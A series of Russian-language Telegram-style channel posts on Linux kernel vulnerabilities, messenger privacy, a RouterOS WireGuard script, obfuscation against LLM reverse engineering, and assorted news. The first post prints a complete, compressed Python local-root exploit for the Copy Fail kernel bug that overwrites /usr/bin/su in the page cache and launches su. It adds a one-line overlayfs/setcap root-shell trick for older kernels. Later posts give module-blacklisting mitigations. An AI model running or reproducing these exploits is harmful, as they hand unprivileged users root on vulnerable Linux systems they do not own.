И ОН СНОВА ЭТО СДЕЛАЛ.

upd: ДВАЖДЫ.

CVE-2026-31431
Copy Fail: 732 байта до рута.
Буквально повышение прав на любой Linux тачке ядром свежее 2017 года (4.14).

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Если коротко, то это логическая ошибка в ядре Linux, накапливавшаяся годами и позволяющая непривилегированному пользователю перезаписать 4 байта в кэше страниц (page cache) любого читаемого файла. Уязвимость проявляется на стыке трёх компонентов:
1. AF_ALG: Механизм ядра, позволяющий пользовательским программам без специальных прав обращаться к криптографическим функциям напрямую.
2. splice(): Системный вызов для высокопроизводительного копирования данных между файловыми дескрипторами. В нашем случае он передаёт страницы кэша файла /usr/bin/su в AF_ALG без их копирования.
3. authencesn: Криптографический алгоритм, который по ошибке записывает промежуточные данные за пределы выделенного ему буфера, прямо в переданные страницы кэша файла.

Ситуация действительно серьёзная - уязвимость затрагивает ядра Linux, начиная с версии 4.14 (выпущена в конце 2017 года).

Из выходов вижу пока как то выпиливать или блеклистить algif_aead, что бы userspace не общался с ядром напрямую в этой операции.

Почитать поподробнее можно тут: copy.fail
P.S. в некоторых системах /usr/bin/su нет, а вот /bin/su есть.


Бонусом для до 17 года:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"

Немного про Cloudflare, Telega и MAX.
Многие думают, что Cloudflare сам сидит и реверсит каждый мессенджер.
На деле — нет.

У них вся система завязана на abuse-репортах (форма abuse.cloudflare.com). Любой может закидать жалобу с "доказательствами": ссылки на (зачастую) статический реверс, Wireshark-дампы и т.д. Когда таких репортов наваливает куча (а по MAX их было не мало от "исследователей") - флаг «spyware/malware» прилетает почти автоматически.

Сам Cloudflare не занимается глубоким реверсом приложений. Они просто реагируют на сигналы от комьюнити.

Метку иногда снимают после обращения разработчиков, но последствия (отзыв сертификата, проблемы в App Store) часто остаются.

В текущий момент я вижу это как политический инструмент на фоне новостей про Twitch в том числе.



ИМХО:
Опыт реверса мессенджеров (в том числе и закрытых коммерческих) всегда тебе говорит о том, что используя любой мессенджер - ты зачастую соглашаешься с тем, что ты доверяешь людям, которые держат сервера.

Signal, Telegram, VK - да что угодно имеет огромное количество мета-информации, которой зачастую достаточно что бы Вас закрыть. От мысли что Вас пасут - легко не становится, Вы буквально сидите сейчас читаете этот пост с канала связи, который оформлен на Ваши паспортные данные. В любой стране мира. Все устройства имеют аппаратные идентификаторы, которые Вы ни раз уже спалили биг-теху и специфическим службам.

Большинство людей парится об анонимности, а не о приватности, не понимая разницу между ними.

Дропну для RouterOS 7+ скрипт для динамической смены портов на WireGuard интерфейсе клиента. Может кому то такой простой скрипт сэкономит время

Открываем консоль:

/system script add name=wg-rotate-port source={
    :local iface "ТУТ ИМЯ ВАШЕГО ИНТЕРФЕЙСА"
    :local minPort 30000
    :local maxPort 50000

    # Псевдо-рандом на основе времени + uptime
    :local timeNow [/system clock get time]
    :local sec [:tonum [:pick $timeNow 6 8]]
    :local up [/system resource get uptime]
    :local upSec [:tonum [:pick $up ([:len $up]-2) [:len $up]]]

    :local rand ( ($sec * $upSec + [:tonum [:pick [/system identity get name] 0 3]]) % ($maxPort - $minPort + 1) )
    :local newPort ($minPort + $rand)

    :log info ("WG rotate: changed listen-port to " . $newPort . " (seed: " . $sec . "/" . $upSec . ")")

    /interface wireguard set [find name=$iface] listen-port=$newPort

    # Обновляем firewall (ищем по comment, можете блок ниже убрать, если не используете)
    :local fwRule [/ip firewall filter find comment~"КОММЕНТ ПРАВИЛА ИНТЕРФЕЙСА"]
    :if ([:len $fwRule] > 0) do={
        /ip firewall filter set $fwRule dst-port=$newPort
    } else={
        :log warning "WG rotate: firewall rule с comment not found!"
    }
}

Затем добавим смену порта скриптом каждые 3 часа:

/system scheduler add name=wg-port interval=3h on-event=wg-rotate-port start-time=00:00:00

Ну и проверьте что все ок:

/system script run wg-rotate-port

В Москве отключили мобильный инет.
Не работают даже белые списки.

Ранее в понедельник операторы связи предупредили о возможности временных ограничений на мобильный интернет и смс в Москве и Московской области с 5 по 9 мая по соображениям безопасности.


UPD: Даже не приходят СМС с первого раза.
UPD2: В некоторых частях Москвы просто нет связи. Вообще.

Смерть обфускации? Не спешите хоронить.

Недавно прочитал на xakep.ru статью «Смерть обфускации. Как ИИ ломает защиту кода за часы».

Там всё по делу: LLM + Frida теперь за пару часов разбирают даже серьёзные DexGuard/DexProtector, восстанавливают семантику, цепляют runtime и превращают статическую защиту в тряпку.

Звучит как приговор, да?
Но это приговор только для ленивых и стандартных решений. Обфускация не умерла — она просто ушла на следующий уровень. На тот, где ИИ начинает захлёбываться.

Вот что реально работает против связки LLM + Frida в 2026-м:
1. Matryoshka Wall (вложенная матрёшка)
Код обфусцируется слоями. Первый слой - control-flow flattening и opaque predicates.
Второй слой берёт уже обфусцированный результат и делает из него новый исходник.
4–6 уровней.
LLM видит только верхний слой и пытается его «понять». А настоящая логика раскрывается только в runtime, причём каждый уровень зависит от предыдущего. Токен-лимит, невозможность держать в голове глубокую вложенность + динамика = модель начинает уверенно галлюцинировать. Тесты на Claude Opus 4.6 показывают падение качества деобфускации до 8–12%. Это уже не задержка, это провал.

2. Custom runtime dispatcher + self-modifying code
Забудьте про готовые OLLVM-пассы. Делаем свой тонкий виртуальный интерпретатор (bytecode-машина), где инструкции генерируются и мутируют в памяти прямо во время работы.
Ключи от обфускации завязываем на hardware (серийник устройства, MAC, CPUID и т.д.). Frida, конечно, увидит runtime, но предсказать и восстановить всю картину - пипец как сложно, когда паттерна нет.
Кстати, именно по этому тяжелее реверсить aarch64 приложения на x86 платформе. Транскод + сдвиги в памяти.


3. Adversarial generation (Vibecode-стиль)
Берём свою локальную модель и специально просим её насрать «умный мусор»: dead-код, который выглядит легитимно, математически корректен, но семантически ломает chain-of-thought.
Мелкие файлы с кучей cross-references. Шум, который специально заточен под то, чтобы LLM тонул.

4. Переезд критичной логики на сервер + JIT-токены
Статья на xakep это тоже упоминает - и правильно. Всё, что можно, уносим на сервер. Клиент получает только одноразовые JIT-токены и минимальный stub. Обфускация клиента становится вторичной.
Реалистично для соло-разработчика или небольшой команды

Вывод простой:
ИИ + Frida действительно убивают стандартную обфускацию. Но кастомная, layered, runtime-oriented и hardware-bound - пока живее всех живых. Просто теперь это не «включил обфускатор в Gradle и забыл», а настоящее оружие, которое нужно делать под себя. Заниматься архитектурой приложения, уровнями и контейнерезацией.

Обфускация жива.
Просто теперь она должна быть умнее.

🧠 Linux kernel только что получил двойной удар: DirtyFrag + Copy Fail. Zero-day в page cache.

Неделю назад выкатился Copy Fail (CVE-2026-31431) - 732 байта Python и ты root через AF_ALG + splice().

Вчера V4bel дропнул DirtyFrag - два новых бага того же класса, но уже через ESP (IPsec) и RxRPC.
Принцип один: splice() засовывает страницы файла (/usr/bin/su или /etc/passwd) в ядерную криптографию, ядро расшифровывает in-place и перезаписывает page cache. Никаких гонок, детерминировано, логи чистые. Работает на Ubuntu 24.04, RHEL 10.1, Fedora, AlmaLinux, openSUSE и почти всех дистрибутивах с ядром с 2017 года.

https://github.com/V4bel/dirtyfrag



Временный патч:

# DirtyFrag (esp + rxrpc)
sudo sh -c 'printf "install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n" > /etc/modprobe.d/dirtyfrag.conf && rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches'

# Copy Fail (algif_aead)
echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/disable-algif.conf && sudo rmmod algif_aead 2>/dev/null || true

⚠️ Если используешь IPsec/strongSwan - подумай дважды. RxRPC нужен только AFS (у большинства нет).


В целом, это не просто «ещё одна дыра». Это целый класс багов в in-place крипто-операциях ядра. Сколько ещё таких мест - вопрос открытый.

Нормальный пиар…

Пентагон впервые опубликовал масштабный архив документов об НЛО

Среди опубликованных видео - съёмка объекта в Японии (2024), запись из Греции (2023), над Средиземным морем, Сирией (2024).

В архив также вошли снимки с лунных миссий Apollo 12 и Apollo 17 и материалы ФБР по делу 62-HQ-83894 (Розуэллский инцидент) за 1947–1968 годы.

108 файлов из 162 опубликованы с редактурой - закрыты имена очевидцев и локации военных объектов.

Файлы может посмотреть любой на https://www.war.gov/UFO/

До этого момента я думал, что читаю бегло английский.

https://www.war.gov/medialink/ufo/release_1/255_t_763_r1b_transcripts.pdf


Кому интересно, что бы проверить себя:

T-00763 (R1B)
"UFO SIGHTING" BY BORMAN (GT-7)

Since then we have dubbed the tape off the master tape here in the Control Center and we are now prepared to play it for your Houston reference to sighting not only some particles but as well as an unidentified object a plus the booster here that tape we'll play it for you now —
dc: Gemini 7 here Houston — how do you read?
Houston: Loud & clear, 7, go ahead.
dc: A bogey at 10 o'clock high. (Borman)
Houston: This is Houston, say again seven?
dc (Borman): I said we have a bogey at 10 o'clock high.
Houston: Roger. Gemini 7, is that the booster? Or is that a natural sighting?
dc: A what?
Houston: Say again, seven.

Демократия в действии

В США, в оплоте демократии и свободы ограничили права людей, запретив использование VPN.

В штате Юта с 6 мая официально нельзя использовать инструменты для скрытия местоположения. Теперь по новому закону сайты обязаны блокировать всех, кто пытается так сделать.